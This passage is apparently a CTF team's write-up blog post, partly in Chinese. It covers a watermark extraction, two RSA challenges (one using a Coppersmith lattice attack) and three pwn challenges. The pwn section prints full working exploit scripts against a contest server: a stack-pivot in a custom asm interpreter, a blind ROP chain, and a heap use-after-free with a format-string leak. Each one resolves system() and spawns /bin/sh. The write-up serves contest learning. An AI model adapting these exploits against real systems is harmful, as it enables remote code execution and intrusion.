raw = imread('raw.bmp');
FA = fft(raw);
FA2 = fft(pic);
%-------------------
G = (FA2 - FA);
GG = ifft(G);
figure,imshow(G);title('extracted watermark');

flag:

3.bmp

Crypto

RSA 1 (Interestring)

from hashlib import sha512
from Crypto.Util.number import *

import random

def cal_bit(num):
    num = int(num)
    l = len(bin(num))
    return l-2

def pi_b(x):
    bt = 536380958350616057242691418634880594502192106332317228051967064327642091297687630174183636288378234177476435270519631690543765125295554448698898712393467267006465045949611180821007306678935181142803069337672948471202242891010188677287454504933695082327796243976863378333980923047411230913909715527759877351702062345876337256220760223926254773346698839492268265110546383782370744599490250832085044856878026833181982756791595730336514399767134613980006467147592898197961789187070786602534602178082726728869941829230655559180178594489856595304902790182697751195581218334712892008282605180395912026326384913562290014629187579128041030500771670510157597682826798117937852656884106597180126028398398087318119586692935386069677459788971114075941533740462978961436933215446347246886948166247617422293043364968298176007659058279518552847235689217185712791081965260495815179909242072310545078116020998113413517429654328367707069941427368374644442366092232916196726067387582032505389946398237261580350780769275427857010543262176468343294217258086275244086292475394366278211528621216522312552812343261375050388129743012932727654986046774759567950981007877856194574274373776538888953502272879816420369255752871177234736347325263320696917012616273
    return inverse(x, bt)
c=0x7406516f4c27f0adf2e7ddeb348824a9dc3e47b06721a5f9c577a13444c619035f03ac891eda25e9519d007ea505763f9952890fa850d6ae741809f90f6e6956e893d938ffbb210f2c3faf8720c851ab5b166d4c159717cc4a6b935e87d320bdadf2d40bd1da8cfb41b032a53834891c5b895920f55b003247c96b6c883cdcb7dede056cfebfc46603e75ae066ee9a3a53b7efb1946742dfd60cef228814fdfb86e2458ba86ad0030d53eb4fb7f6dbf7612ddd2019ccc95fc428b7d1f169846e9b73665e7f4da0c81f012bf5ade9778fac4616926c2bdcf686995c5ae09bfa9058e87e83542031fb77169a924bd1e3729e715930995bea482beeaa5c9c3e911e719c88d476ad722b58092d7ce00021c9675a93451dfc0a4f9a15d71f632d7005919cc7e6aa08a10da59d0c09623986bcbac85ff30e6f98be8f781f8ee663b3d753fc381a36294eda6be48391fc5edde87e437c50837299a802d14404f64ba4b3d984daf38c12205dae7149c803269eccb2b007decff1e942339760d5f60b01bd6334399fb23aa175a4ed524f8fee2462f3e6d49411a81f3f4894129a366710369becee5cd4e328386d7e3966603dfda97d8bf7427178966816da3079babec88ad3d60006ce9e34bc7ee58e0f2be9f797209d6e30a735dc1dd117d8b91ac5fb9dfab2cdcccdaab2204338a2c7b2578370655a8fbd43d7b850079216eded4b9d13
e=0x3392f44411e8ef2bd827406a3d0e98c5bfd85d1bad691b22e2278408f5cbcab2aaa751fd1c086236e75859e958ab66e7e815b58af0d21666f47fe096535d7375db206e8232c978cf859199019021270316b8094014f637b910256c3612e9b06f913c53c941812204d07d206ffe61d274363dafaafcaf9e6f6f0db57870d5de986a2c5d01df0b3e5facc2c6a9891432e748d224bacfd0e0402ba325cf3f3950d42a8d76ac22d8e4fb6ada052a9f49b72c8b1442b030a3e2cc8b85e84d73283b3f71ada4ddcccf4facc480dd2f9b88c8028145eeb4446be85a969e9ebb23d10327abf6aab3426037e6feb4f325118ee91fe603bbda67c2984ed0a9154b9b3c80f7b45e22aab209d1edd5f9a0ef854a8fbbcb9af0853c0742e08fc47f8259c93be6c734edbd1f7594a825f15c800e45fbec88aa477bf3dfcc8d9d9cb0f909af026d0ce6108b26f583fced9d10608ea3ab9a469db58448f387d6837a9bb1913cab5edebd44d7b716c2c791f267ca288a43223655327bfdbcfea691a47d8ec5a12d538bd3220268251719eba23691d3296afc044cf23e94acc53345981277131508ab4589ba6d70f6be20987a5a9ccea1b299802d995fe3ebc8caac5206c6925307b85ab67f7a3038aa26cf7a6f0136361a9a0ed7dc4a66ba85a0fb343072dad0856d45201cc36f73eb3b91acb079fc0e79be9b9f817e956fab13b1df25cc48ea6811
n=0xaeee4e853ab681e84e37779940d3dc104626bfa081c64e2116e736490307b3dfdfd4f2b4a12f741e8aabd49f16a748f2bc36a4ba4d3c2c176067322c10481911ca62fc09ac6e371fb9152436e2b76398e206c617c9d664f9649049a4f06e1b969e11e9fd61f89022f16932083926e572ebb647d449eb941bea2151328598c3516d790f32e896b6708dd43e8eb27b02e97a1bb0698531d0cc96761180103a734a33beebbd1723901dfa5926efb9e402a87927e32ddf096b6b47c3434e0976bc2cc78b318ec5e684d43f813df0692a57a25fa979c67f6f29ab9a879e819c0c6256b092a59ad320ba5ae8402f916577e60316cc6cc946986edadca30e1b26b7d877c54e98e1bc9ad6741e21355657716fe089f7078dab4db29938ddd1fad4af1c7b8ff4350835037874fd7b359310ec76921e18e4f66e0b7ac93e8b327ffcc16735a2b64105c78276992070bb178f920ecdb82e287e87a648302f011de7fd83738c7926973ab71659b65b288bb37358c313813f80e173cd49e6660d31f78b8d752a035e6a0afb835fa312d160bb4007ce83b272e726dceb6cbe29d22d16ee11574c623b8bcfd2f61681fe3980e9678886b94f72a656c78bd90aa3678327b8cea3d187b23008a8940d2a8b0f2e22d90b7eb03e4af2293d4d2d873b9000f01169a5bbfe5b395fc4044ea466d54154a9ee2edc27b9168fed0ea1437930ad660ec5893b

t=pi_b(e)

print (t)

u = 635821529680195135762764580469712102227079712509439315709707250068244306824901048037194443713893895523592044345391463141571376852251284938658346605353539091005530521757504495956453583480068101247020278123507287550560428349147303038190797464013872502380786941261054616353653723871
bt = 536380958350616057242691418634880594502192106332317228051967064327642091297687630174183636288378234177476435270519631690543765125295554448698898712393467267006465045949611180821007306678935181142803069337672948471202242891010188677287454504933695082327796243976863378333980923047411230913909715527759877351702062345876337256220760223926254773346698839492268265110546383782370744599490250832085044856878026833181982756791595730336514399767134613980006467147592898197961789187070786602534602178082726728869941829230655559180178594489856595304902790182697751195581218334712892008282605180395912026326384913562290014629187579128041030500771670510157597682826798117937852656884106597180126028398398087318119586692935386069677459788971114075941533740462978961436933215446347246886948166247617422293043364968298176007659058279518552847235689217185712791081965260495815179909242072310545078116020998113413517429654328367707069941427368374644442366092232916196726067387582032505389946398237261580350780769275427857010543262176468343294217258086275244086292475394366278211528621216522312552812343261375050388129743012932727654986046774759567950981007877856194574274373776538888953502272879816420369255752871177234736347325263320696917012616273

x = t*u/ n
rest = 2

b = t*u-1
while rest != 0:
    rest = b % x
    x = x + 1

phi_n=b/(x-1)
d=inverse(e,phi_n)
m=pow(c, d, n)
print (long_to_bytes(m))

RSA 2 (Cool)

getP.sage:

import time
from Crypto.Util.number import long_to_bytes,

debug = True

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            a += ' '
        if BB[ii, ii] >= bound:
            a += '~'

def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
    """
    Coppersmith revisited by Howgrave-Graham
    
    finds a solution if:
    * b|modulus, b >= modulus^beta , 0 < beta <= 1
    * |x| < XX
    """
    #
    # init
    #
    dd = pol.degree()
    nn = dd * mm + tt

    #
    # checks
    #
    if not 0 < beta <= 1:
        raise ValueError("beta should belongs in (0, 1]")

    if not pol.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    #
    # calculate bounds and display them
    #
    """
    * we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)
    * we know LLL will give us a short vector v such that:
    ||v|| <= 2^((n - 1)/4) * det(L)^(1/n)
    * we will use that vector as a coefficient vector for our g(x)
    
    * so we want to satisfy:
    2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
    
    so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)
    (it's important to use N because we might not know b)
    """
    if debug:
        # t optimized?
        cond1 = RR(XX^(nn-1))
        cond2 = pow(modulus, beta*mm)
        # bound for X
        cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2)

        # solution possible?
        detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2))
        cond1 = RR(2^((nn - 1)/4) * detL^(1/nn))
        cond2 = RR(modulus^(beta*mm) / sqrt(nn))


    polZ = pol.change_ring(ZZ)
    x = polZ.parent().gen()

    # compute polynomials
    gg = []
    for ii in range(mm):
        for jj in range(dd):
            gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
    for ii in range(tt):
        gg.append((x * XX)**ii * polZ(x * XX)**mm)
    
    # construct lattice B
    BB = Matrix(ZZ, nn)

    for ii in range(nn):
        for jj in range(ii+1):
            BB[ii, jj] = gg[ii][jj]

    # display basis matrix
    if debug:
        matrix_overview(BB, modulus^mm)

    # LLL
    BB = BB.LLL()

    # transform shortest vector in polynomial    
    new_pol = 0
    for ii in range(nn):
        new_pol += x**ii * BB[0, ii] / XX**ii

    # factor polynomial
    potential_roots = new_pol.roots()

    # test roots
    roots = []
    for root in potential_roots:
        if root[0].is_integer():
            result = polZ(ZZ(root[0]))
            if gcd(modulus, result) >= modulus^beta:
                roots.append(ZZ(root[0]))

    # 
    return roots


length_N = 2048;
N = 0x97550b974810279d0c2978ee57241921a6a58b0bfdc9d49e9a9d4fb7acf4fd009b437eeba09aafde864f5c80cac12a393e909e9cdf17a892bd97d88a9040b341a2f82400b202c4653d420d04c3096463b47aed67b6cef2f6b64a49dd0b0c730430f18e2eb6bef65efcb1d8e9608f58a73264eabd00cfe072964402c55d79259223e7c9f4cf19a37751cdb93bb2f839beeeae2492177c2e54d2488df52f45742d7e5560ab797738d83d94b74a32cdff114e76796adb7ecf82aab8d4b10f07f9491605e941645a0a727c4546f32efe41f96a1302ff8f817d9f0efdbd332e3b3a510ca3fc8a2bb2c47b99539183ff768ce05b137cedae791fcb9e905dd8abc3c23dL;

hidden = 384;
qbar = 0xf196cba66507e7b86fe641f243c3cf53a8a09b69456ececbe0998af9b32ab415dc07b2a0a0a72ed8f589f865f4254c113d2952f098e6d6563cf0dcc05e8a77c36d5416738c98722b04c59b4d304a201a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000L; 

F.<x> = PolynomialRing(Zmod(N), implementation='NTL'); 
pol = x - qbar
dd = pol.degree()

# PLAY WITH THOSE:
beta = 0.5                             
epsilon = beta / 7                     
mm = ceil(beta**2 / (dd * epsilon))    
tt = floor(dd * mm * ((1/beta) - 1))   
XX = ceil(N**((beta**2/dd) - epsilon)) 


roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)


q = qbar - roots[0]

print q

getflag.py:

from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long, isPrime, size, inverse
from Crypto.Cipher import DES

key = "abcdefg1"
k = 2048
e = 0x10001

def pi_b(x, m):
    '''
    m:
        1: encrypt
        0: decrypt
    ''' 
    enc = DES.new(key)
    if m:
        method = enc.encrypt
    else:
        method = enc.decrypt
    s = long_to_bytes(x)
    sp = [s[a:a+8] for a in xrange(0, len(s), 8)]
    r = ""
    for a in sp:
        r += method(a)
    return bytes_to_long(r)

n = 0x97550b974810279d0c2978ee57241921a6a58b0bfdc9d49e9a9d4fb7acf4fd009b437eeba09aafde864f5c80cac12a393e909e9cdf17a892bd97d88a9040b341a2f82400b202c4653d420d04c3096463b47aed67b6cef2f6b64a49dd0b0c730430f18e2eb6bef65efcb1d8e9608f58a73264eabd00cfe072964402c55d79259223e7c9f4cf19a37751cdb93bb2f839beeeae2492177c2e54d2488df52f45742d7e5560ab797738d83d94b74a32cdff114e76796adb7ecf82aab8d4b10f07f9491605e941645a0a727c4546f32efe41f96a1302ff8f817d9f0efdbd332e3b3a510ca3fc8a2bb2c47b99539183ff768ce05b137cedae791fcb9e905dd8abc3c23dL
e = 0x10001
e2 = 0x8671
u = int(bin(n)[2+128:2+128+640], 2)
p4 = pi_b(u, 0)

q = 169649596706361919830882771179653435754133594277658691627148036367477113876661064139067087653543238852037862595907634195495487359299863094938188447473310984868284538064271119650396270339806314510219910928053438299228655419800953642095097354129292193791319712141072894432083435990075316736994672801523162622771
p = n/q
fn = (p-1)*(q-1)

flag = 0x913403d56fbec8622c1254067fb42b08e72cf73cac121c6c5e3219a9df9dec236338dc621220004ab8fadae3a7141e1b2e38c75cbe48b48c0a4e7848d6cb2035bcca9d5ac98caaafe61922fc92604bc72857ed1949e6fef20d69faabebc88e9da502e3f4eec7cb18a66603c2a83b18ab2f772971d8d89ba25fe44328b1331b341d873b6fd47cb6151fd81d10117cad5939ab3700e9a055e907e8a35403acfb542bd165637a3c8d5f2477cbdc160423b64159b28a7bd4cab1fd88b426d8afae12e9dbd39e0247255cf6a50239908e94a370fd6e4cee22a940160a829b4f9916b571909970829f41652f79905233d487b2f84de39f13413dbd857a64138969f217L

d2 = inverse(e2, fn)

print long_to_bytes(pow(flag, d2, n))

Pwn

asm

手写的一个asm解释器, 本来解析字符串的过程并不复杂, 然而编译后内部的算术运算被优化的略鬼畜. 一开始看的各种懵逼.

还好出题人给了一个makecode, 算是这个解释器的字节码编译器吧. 用编译器自己编译了几个asm文件对着解释器和编译器看了半天...

程序用很大的一个堆块作为栈, 在执行call时通过改写esp替换执行栈. 为了执行后恢复栈在bss上保留了esp.

解释器的sp和pc都是直接可写的, sp的push和pop没做完全校验, 造成可以写堆块以下任意内存, 读堆块以上任意内存.

这样就可以先读bss上的信息, 用lea得到一个变量的基址计算出任意变量的位置. 读保存的esp得到栈地址, 计算好栈地址的偏移量, 覆盖返回地址并布置参数就可以控制程序流了.

程序include了dlopen系列函数, 用dlsym即可得到system的地址, 再结合call eax这条指令就能执行了.

写一段asm就能拿到shell, 有趣.

asm(编译前):

data:
0x74737973,0x2f006d65,0x2f6e6962,0x00006873
end
push data
call puts
lea r0,r2
mov r2,r0
mov r0,sp
sub r1,r2,0x8
mov sp,r1
pop r1
add r1,r1,0x74
mov sp,r1
sub r1,r2,0x58
push r1
add sp,sp,0x08
sub r1,r2,0x2968
push r1
add sp,sp,0x08
sub r1,r2,0x1e3e
push r1
add sp,sp,0x08
push 0x00
add sp,sp,0x08
push data
add sp,sp,0x08
sub r1,r2,0x1fa7
push r1
add sp,sp,0x08
add r1,data,0x07
push r1
sub sp,sp,0x18
sub r1,r2,0x2a2b
push r1
$

exp:

#!/usr/bin/env python

from zio import *

target = ("115.28.78.54", 23333)

io = zio(target, print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)

payload = open("./payload").read()

io.read_until("please input you token: ")
io.writeline("35e51df1d01627ec602f1b2d9bc666f5LKJ6F4Ug")

io.read_until("give me the bin!\n")

io.write(payload)

#puts("system")
io.read_until("\n")

io.interact()

出题人失踪了

本来以为是内部有特殊套路的题目. 没想到就是个暴力搜索的普通pwn...一开始思路错了还被ban了IP,无奈.

暴力搜索了之后找到了puts. 然后又是各种脑洞暴力搜索后找到了写edi的gadget.

用puts找到main入口点, 就演变成了没有libc的简单栈溢出题目.

leak信息的脚本.

#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-
from mkpwn import *
from time import sleep

# settings
local   = False
debug   = True

if local:
    target  = './back'
else:
    target  = ('115.28.78.54', 13455)

# get io
io  = mk(target, debug)

puts_plt    = 0x400570
pop_rdi_ret = 0x4007c3
entry       = 0x4005d0
main        = 0x4006bd

pop_rsi_ret =  "\x5e\xc3"
# global

def test(addr):
    io.ru('password?\n')
    print hex(addr)
    payload  = ''.ljust(72, 'A')
    payload += l64(addr)
    #payload += l64(addr)
    io.w(payload)
    io.interact()
    #io.ru('game', timeout=1)

# exp
def leak_byte(addr):
    print '\n************** new rount *******************'
    io.ru('password?\n', timeout=10)

    payload  = ''.ljust(72, 'A')
    # payload += l64(pop_rdi_ret)
    # payload += l64(addr)
    # payload += l64(puts_plt)
    payload += l64(entry)
    io.w(payload)

def leak(address, size):
    count       = 0
    buf         = ''
    while count < size:
        leak_byte(address + count)
        # leak(str(address + count))
        while True:
            ch = io.read(1)
            #print ch
            count += 1
            if ch == '\n':
                buf += '\x00'
                break
            elif ch == '':
                io.close()
                get_io()
                count -= 1
                break
            else:
                buf += ch[0]
    #print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
    leak_data = buf[:size]
    return leak_data

def leak_r(address):
    leak(0x601000)
    for i in xrange(0, 0x1000, 0x8):
        print data[i:i+8].encode('hex')

    return leak(address, 0x8)

def leak_got():
    data = leak(0x601000, 0x60)
    print 'test'
    for i in xrange(0, 0x60, 0x8):
        print data[i:i+8].encode('hex')

def leak_libc():
    d = DynELF(leak_r, entry, elf = None)
    d.lookup('system')

def leak_elf():
    data = leak(entry, 0x180)
    #for i in xrange(0, 0x1000, 0x8):
    #    print data[i:i+8].encode('hex')
    fd = open('/tmp/123', 'ab')
    fd.write(data)
    fd.close()

def exp():
    leak_elf()

def get_io():
    global io

    while True:
        io  = mk(target, debug)
        try:
            io.ru('token')
            io.pr('35e51df1d01627ec602f1b2d9bc666f5LKJ6F4Ug')
            break
        except:
            sleep(3)
            continue

if __name__ == '__main__':
    io.ru('token')
    io.pr('35e51df1d01627ec602f1b2d9bc666f5LKJ6F4Ug')

    

    #exp()
    # i = 0x0
    # target = 0x400710
    # while True:
    #     #target += 2
    #     try:
    #         data = leak(target, 0x100).encode('hex')
    #         print data.encode('hex')
    #         if pop_rsi_ret in data:
    #             print 'found'
    #             exit
    #     except Exception as e:
    #         print e
    #         exit()
    #         pass

最后的exp脚本

#!/usr/bin/env python

from zio import *
from pwn import dynelf

target = ("115.28.78.54", 13455)

io = zio(target, print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)

io.read_until("token: ")
io.writeline("35e51df1d01627ec602f1b2d9bc666f5LKJ6F4Ug")


def leakinfo(addr):
    io.read_until("password?\n")

    leak = "A" * 72
    leak += l64(0x4007C3)   #gadget
    leak += l64(addr)
    leak += l64(0x400570)   #puts
    leak += l64(0x4005d0)   #main

    io.write(leak)

    res = io.read_until("WelCome")
    res = res[:-8]

    if not res:
        res = '\x00'
    else:
        res = res[:4]

    return res

d = dynelf.DynELF(leakinfo, 0x4006bd)
system_addr = d.lookup('system', 'libc')
gets_addr = d.lookup('gets', 'libc')


print "get addr: %x %x" % (system_addr, gets_addr)

io.read_until("password?\n")

payload = "A" * 72
payload += l64(0x4007C3)
payload += l64(0x601800)
payload += l64(gets_addr)
payload += l64(0x4007C3)
payload += l64(0x601800)
payload += l64(system_addr)

io.writeline(payload)

io.write("/bin/sh\x00")

io.interact()

就是干

#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-
from mkpwn import *
from time import sleep
from pwnlib.dynelf import *
from pwnlib.elf import *
from random import randint

# settings
local   = False
debug   = False

if local:
    target  = './fheap_e56aad293510fc5e6c5805be8c63bc7d'
else:
    target  = ('115.28.78.54', 80)
    #target  = ('0', 8000)

# get io
io  = mk(target, debug)

# global
heap_base = 0x0
#magic
#magic = (randint(0x3,0xf)<<12)+0x9d0

def create(size, s, timeout=0):
    io.ru('3.quit')
    sleep(timeout)
    io.pr('create ')
    io.ru('size:')
    sleep(timeout)
    io.pr(size)
    io.ru('str:')
    sleep(timeout)
    io.w(s)

    pass

def delete(idx, payload='', timeout=0):
    io.ru('3.quit')
    sleep(timeout)
    io.pr('delete ')
    io.ru('id:')
    sleep(timeout)
    io.pr(idx)
    io.ru('sure?:')
    sleep(timeout)
    io.pr('yes' + payload)

def leak_libc_prepare(address):
    # free 1, 2, 1

    #io.gdb_hint([0x0000555555554000 + 0x1133])
    fmt = '%{}$s'.format(0x9).ljust(0x18, 'a')
    create(0x1a, fmt+ l16(magic))

    #io.gdb_hint([0x0000555555554000 + 0x1037, 0x0000555555554000 + 0xfcd])
    delete(15, payload=''.ljust(0x5, 'A') + l64(address))
    #data = io.ru('aaaaaa')[:-6]
    #delete(14)
    #print data.encode('hex')
    #return data

def leak_libc(address):
    size        = 0x8
    count       = 0
    buf         = ''
    while True:
        leak_libc_prepare(address + count)
        # leak(str(address + count))
        data = io.ru('aaaaaa')[:-6]
        delete(14)
        print data.encode('hex')
        count += (len(data) + 1)
        buf += (data + '\x00')
        print count
        if count >= size:
            break
    leak_data = buf[:size]
    print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
    return leak_data

def leak(address):
    fmt = '%{}$s'.format(0x9).ljust(0x18, 'a')
    create(0x1a, fmt+ l16(magic))

    #io.gdb_hint([0x0000555555554000 + 0x1037, 0x0000555555554000 + 0xfcd])
    delete(15, payload=''.ljust(0x5, 'A') + l64(address))
    data = io.ru('aaaaaa')[:-6]
    delete(14)
    return data

def leak_heap():
    # malloc 0, 1, 2
    create(0x9, 'A' * 0x8 + '\x31\n', timeout=0.3)
    create(0x9, 'A' * 0x8 + '\x31\n', timeout=0.3)
    create(0x2, 'A\x00\n', timeout=0.3)
    delete(1, timeout=0.3)
    delete(2, timeout=0.3)
    delete(1, timeout=0.3)
    create(0x1, '\x40\n', timeout=0.3)
    create(0x1, '\x28\n', timeout=0.3)
    create(0x1, '\x00\n', timeout=0.3)
    print 'magic ' + hex(magic)
    create(0xa, 'A'*8 + l16(magic) + '\n', timeout=0.3)
    #io.gdb_hint([0x0000555555554000 + 0xe93])
    delete(1, timeout=0.3)
    global heap_base
    heap_base = l64(io.r(6) + '\x00\x00') - 0x40
    info_found("heap base", heap_base)
    return heap_base

def getshell(system):
    sh = '/bin/sh;'.ljust(0x18, 'a')
    create(0x20, sh + l64(system))

    #io.gdb_hint([0x0000555555554000 + 0x1037, 0x0000555555554000 + 0xfcd])
    delete(15)


# exp
def exp():
    leak_heap()

    for i in xrange(0xe):
        create(0xf, 'A' * 0x8 + '\x31')

    # prepare
    create(0x8, 'A' * 8 + '\x31')
    create(0x8, 'A' * 8 + '\x31')
    delete(15)
    delete(14)

    elf_base = l64(leak_libc(heap_base+0x28)[:8]) - 0xd52
    info_found('elf base', elf_base)

    offset_elf_puts = 0x202050
    ptr_libc = l64(leak_libc(elf_base + offset_elf_puts)[:8])
    elf = ELF('./fheap_e56aad293510fc5e6c5805be8c63bc7d')
    d   = DynELF(leak_libc, ptr_libc, elf = None)
    getshell(d.lookup('system'))

    info_shell()
    io.interact()

# main
if __name__ == '__main__':
    while True:
        global magic
        magic = (randint(0x3,0xf)<<12)+0x9d0
        magic = 0xd9d0
        #magic = 0x49d0
        try:
            io = mk(target, debug)
            io.ru('token:')
            sleep(1)
            io.pr('35e51df1d01627ec602f1b2d9bc666f5LKJ6F4Ug')
            sleep(1)
            exp()
        except:
            print 'hello'
            sleep(10)
tagged by none  

Comment Closed.

© 2014 ::L Team::